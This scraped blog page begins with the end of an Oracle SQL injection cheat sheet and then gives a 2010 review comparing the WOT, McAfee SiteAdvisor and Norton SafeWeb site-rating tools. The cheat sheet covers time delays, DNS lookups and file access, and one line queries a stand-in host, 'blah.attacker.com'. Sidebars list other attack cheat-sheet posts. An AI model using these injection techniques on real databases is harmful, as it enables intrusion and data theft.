| ASCII Value -> Char | SELECT chr(65) FROM dual; — returns A |
| Char -> ASCII Value | SELECT ascii(‘A’) FROM dual; — returns 65 |
| Casting | SELECT CAST(1 AS char) FROM dual; SELECT CAST(’1′ AS int) FROM dual; |
| String Concatenation | SELECT ‘A’ || ‘B’ FROM dual; — returns AB |
| If Statement | BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements |
| Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2 |
| Avoiding Quotes | SELECT chr(65) || chr(66) FROM dual; — returns AB |
| Time Delay | BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — if reverse looks are slow SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow – Also see Heavy Queries to create a time delay |
| Make DNS Requests | SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual; SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; |
| Command Execution | Java can be used to execute commands if it’s installed.
ExtProc can sometimes be used too, though it normally failed for me. |
| Local File Access | UTL_FILE can sometimes be used. Check that the following is non-null: SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’; Java can be used to read and write files if it’s installed (it is not available in Oracle Express). |
| Hostname, IP Address | SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — gets hostnames |
| Location of DB files | SELECT name FROM V$DATAFILE; |
| Default/System Databases | SYSTEM SYSAUX |
| MySQL SQL Injection Cheat Sheet (1) | 2011.11.08 |
|---|---|
| MSSQL Injection Cheat Sheet (0) | 2011.11.08 |
| Directory Traversal Vulnerability (0) | 2011.10.29 |
| WOT vs SiteAdvisor vs SafeWeb – PrizeFly (0) | 2011.10.19 |
| Checking a System with System File Verification (0) | 2011.09.13 |
| MSSQL Injection Cheat Sheet (0) | 2011.11.08 |
|---|---|
| Oracle SQL Injection Cheat Sheet (0) | 2011.11.08 |
| WOT vs SiteAdvisor vs SafeWeb – PrizeFly (0) | 2011.10.19 |
| Checking a System with System File Verification (0) | 2011.09.13 |
| Trojan (0) | 2011.09.13 |
Posted by on September 24, 2010 in Internet, PrizeFly, Security ·16 Comments
This post is part of TechAirlines’ weekly series, PrizeFly, featuring a comparison between multiple related products. This week, we are featuring three web reputation and site rating services: WOT, McAfee SiteAdvisor, and Norton SafeWeb.
Do you use search engines? Ever wonder which sites are safe to visit? By the time you actually visit the site, it might already be too late. Web reputation and site rating services are here to help.
These products and services place icons next to search result links to indicate a site’s safety level.
A search for 'Free screensavers' brings up many results. But which ones are safe to use and which aren't?
About the Contestants
Round 1 – Rating Accuracy and Update Frequency
Round 2 – Search Safety Icons
Round 3 – Website Ratings
Round 4 – Malicious Site Warnings
Bonus Round 1 – Secure Search
Bonus Round 2 – Browser Support
Results!
Web of Trust (WOT for short) is a community based web reputation service by WOT Services. Its ratings are entirely calculated by a global community of millions of users. It’s the only one of our contestants that isn’t created by an antivirus company. Also unlike the others, WOT is focused on user trust of a website instead of just general security.
McAfee SiteAdvisor is a site rating service from the antivirus company, McAfee. It’s rating are calculated using an automated web scanner that checks websites for malicious downloads, malicious external links, spam-like emails, and annoyances, like tracking cookies.
Norton SafeWeb is a site rating service from the antivirus company, Symantec. Like SiteAdvisor, its rating are also calculated using an automated web scanner checking websites for security risks. It was originally exclusively part of Norton Internet Security and Norton 360, but they recently released a free Lite version that works regardless of whether or not the security suite is installed. The Lite version seems to have the same features as the version included with the suites.
If the service has a lot of inaccuracies with ratings, then it can be considered useless and even misleading. Obviously, none of our contestants can be perfect as sites are always changing, but the ratings should be regularly updated.
Rating accuracy and update frequency are combined into the same round because one usually influences the other.
While many may think that ratings completely calculated by the community may have many inaccuracies but the WOT Team developed very advanced algorithms. Not all users have an equal say. New users have very little influence on the ratings. More experienced users with more comments (and people agreeing with their comment) and ratings have a significantly greater influence on the ratings.
The WOT Forum allows anyone to request the community to rate their website and a full rating could be live within 30 minutes
In addition, when a site changes, anyone can post a thread on the forums asking for others to review it and the rating can quickly be reviewed and changed by the large community. This allows ratings to be accurately updated very quickly.
For McAfee SiteAdvisor, updates to it seem to be happening very slowly. Verified website owners are allowed to post a special comment on their site scorecard, however, this doesn’t submit a rating dispute request to McAfee. To dispute ratings, webmasters would have to send them an email. According to their Webmaster 
FAQ, rating disputes via email can take several business days.
Each community user has a certain reputation level (out of 9) based on votes they get for helpful comments.
So far I’ve never noticed any site have their ratings change to something else besides unrated. Several sites were marked as red, but is currently gray (unrated). Many sites, including TechAirlines, used to have green, but now are gray.
While SafeWeb is also rated by an automated scanner, ratings seem to be updated a lot faster than SiteAdvisor. Their FAQ states their the frequency of updates is based on the amount of traffic a site gets.
They are also quite fast at responding to rating disputes. I’ve seen a medium traffic site request a re-review and this was completed within 24 hours.
SafeWeb was very inaccurate when it was first launched, but its slowly getting better, though I still find quite a number of mistakes.
They also offer a community rating, which is a rating (out of 5.0) generated by community ratings. Unlike WOT, everyone has equal say here. The community rating is entirely separate from the Norton rating.
WOT takes this round for having the fastest updates backed up for a large community, followed by Norton and SiteAdvisor.
WOT: 5
SiteAdvisor: 3
SafeWeb: 3
What sites does each service show safety icons for?
WOT shows safety icons in five different colors, dark green, light green, yellow, orange, and red in four different categories, Trustworthiness, Vendor Reliability, Privacy, and Child Safety. By default, these icons show on all external links on 24 different sites, including popular search engines (Google, Bing, Yahoo!, Ask, AOL, etc…), email (Gmail, Yahoo! Mail, and Hotmail), as well as various other sites, like Digg and Wikipedia.
WOT also offers a custom API that allows any webmaster to place Javascript rating icons next to external links on their website. This widget is also used on the WOT website.
In addition, the WOT scorecards also display a rating trust level based on the number of users who rated it. If many users rated a site a certain level, then a higher number of people would be displayed (out of 5).
SiteAdvisorMcAfee has 3 colors and icons, green, yellow, and red. Green indicates a safe site, yellow indicates a potentially dangerous one, and red indicates a dangerous site.
The hovercard displays the rating as well as the number of red downloads, linked site rating, email, as well as annoyances.
Strangely, it does not display any yellow downloads.
If a site holds a McAfee Secure seal, the seal will also show on the search results and on the hover card.
The free version supports search icons on Google, Bing, Yahoo!, AOL, Ask.com, and 15 other search engines.
SafeWebLike SiteAdvisor, SafeWeb has the same 3 colors. In addition, safe e-commerce sites also hold an extra shopping cart icon, although this seems to be pending removal soon.
SafeWeb’s hover card shows the number of Computer Threats, Identity Threats, and Annoyances. In addition, if the site is e-Commerce, additional icons are shown.
It supports search icons on Google, Bing, Yahoo!, and Ask.com.
SiteAdvisor and SafeWeb are very similar here in the way they show why a site received the rating they did. WOT takes this round for having the a simple info card as well as ratings in 5 colors in 4 categories. In addition, it supports the most diverse range of sites. SiteAdvisor ties with WOT for providing a very informative scorecard, although not supporting as many sites.
WOT: 5 (10 total)
SiteAdvisor: 5 (8 total)
SafeWeb: 3 (6 total)
When you’re browsing websites, you want to know if they’re safe or not even if you don’t go through a search engine. How efficient are our contestants at fetching ratings on the fly? How informative is the rating card?
WOT is the only one solely based on community ratings. The rating card shows in the browser toolbar and allows users to rate the site. It also has a announcement panel at the bottom, a link to a user’s profile, as well as a link to the site scorecard.
Except for the Safari version, the toolbar icon’s color matches the site’s overall rating, although this can be customized in Settings.
SiteAdvisor displays as a colored bar in Internet Explorer’s toolbar or Firefox’s status bar. Next to it is the optional Secure Search (refer to Bonus Round 1).
Hover over the bar for a few seconds reveals the the same scorecard shown in search results.
McAfee Rating Card with McAfee Secure. This is the rating card for mcafee.com.
Clicking on the bar opens the site rating page. Unfortunately, this opens in a new window rather than a new tab and I found this to be extremely irritating.
The bar is larger than the default Firefox status bar, which causes a loss of some vertical screen estate.
Norton SafeWeb creates a new toolbar with the security rating button as well as Norton Safe Search (refer to Bonus Round 1 below).
Clicking on the SafeWeb button shows the same rating card as search results.
Norton Site Safety
WOT takes this round for providing the most useful and interactive rating card. Norton and McAfee tie at second.
WOT: 5 (15 total)
SiteAdvisor: 3.5 (11.5 total)
SafeWeb: 3.5 (9.5 total)
WOT Warning Screen
WOT is on a perfect streak. The final round that determines it all is warnings of visiting a dangerous site. If you made a typo when typing a domain, there’s a chance that someone created a malicious typo-squat site. How well do our contestants prevent users from visiting malicious sites and interacting with them?
WOT provides two options, warning or blocking. In addition, users can set the rating level (very poor, poor, or unsatisfactory) that they want WOT to start warning them about.
Warning means that the site would still load and WOT fetches ratings asynchronously. If the rating is dangerous, it darkens the screen and gives a warning.
Blocking means that before the site can even load, WOT will fetch the ratings. If its dangerous, WOT will prevent the site from loading all together. This can be useful as parental control as well as to prevent malicious drive-by-downloads. This feature is only available for Firefox and Internet Explorer and because it needs to fetch ratings first, it causes a slight delay in browsing.
WOT blocked access to this site.
When a site is dangerous, the rating card automatically popups without any user interaction. This serves as the warning.
SafeWeb loads ratings while the page is loading. However, if the site is marked as red, Norton will show a blocked page with an option to continue anyway. Unlike WOT, the site still loads first anyway).
Norton Blocked Site
WOT takes this round for having the best set of options as well as an effective blocking method. Norton comes in second for having a blocking method, but the site still loads first. SiteAdvisor trails third for having almost no warning.
WOT: 5 (20 total)
SiteAdvisor: 1.5 (13 total)
SafeWeb: 3.5 (14 total)
And our winner is… no wait… there’s more! You know what time it is… Bonus Points!
Wouldn’t it be great to use a search engine that would automatically filter out malicious search results? All three of our contestants feature their own version of secure search.
WOT SafeSearch is powered by Surfcanyon. Rating icons show here even if you don’t have the add-on installed. There’s options to filter out potentially unwanted results.
There is no search bar included with the add-on, so its not considered a feature.
WOT: No Bonus Points
SiteAdvisor places a large Secure Search bar next to the rating button. This is powered by Yahoo! Unfortunately, there doesn’t seem to be anything special about this. It still loads a regular Yahoo! search results page that only shows ratings if the add-on is installed.
This feature seems absolutely useless and a waste of space, so McAfee is actually losing points this round. Luckily, it can be disabled.
SiteAdvisor: -2 bonus points (11 total)
Norton SafeSearch Options
There are options to filter out dangerous results as well as only show Safe Shopping sites.
This could be a potentially useful feature, but of course, the search bar can be hidden.
SafeWeb: +2 bonus points (16 total)
The only contestant that benefited from this round was SafeWeb.
Which browsers does each contestant support?
WOT has an official add-on for Internet Explorer, Mozilla Firefox, Google Chrome, and Safari. There is also a special bookmarklet for other browsers that displays a site’s ratings when clicking on.
SiteAdvisor and SafeWeb both only support Internet Explorer and Mozilla Firefox at this time.
WOT: +2 bonus points (22 total)
How many total points did each contestant score?
| Oracle SQL Injection Cheat Sheet (0) | 2011.11.08 |
|---|---|
| Directory Traversal Vulnerability (0) | 2011.10.29 |
| Checking a System with System File Verification (0) | 2011.09.13 |
| Trojan (0) | 2011.09.13 |
| Covering Your Tracks and Erasing Evidence (0) | 2011.09.13 |
|
| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | ||||||
| 2 | 3 | 4 | 5 | 6 | 7 | 8 |
| 9 | 10 | 11 | 12 | 13 | 14 | 15 |
| 16 | 17 | 18 | 19 | 20 | 21 | 22 |
| 23 | 24 | 25 | 26 | 27 | 28 |
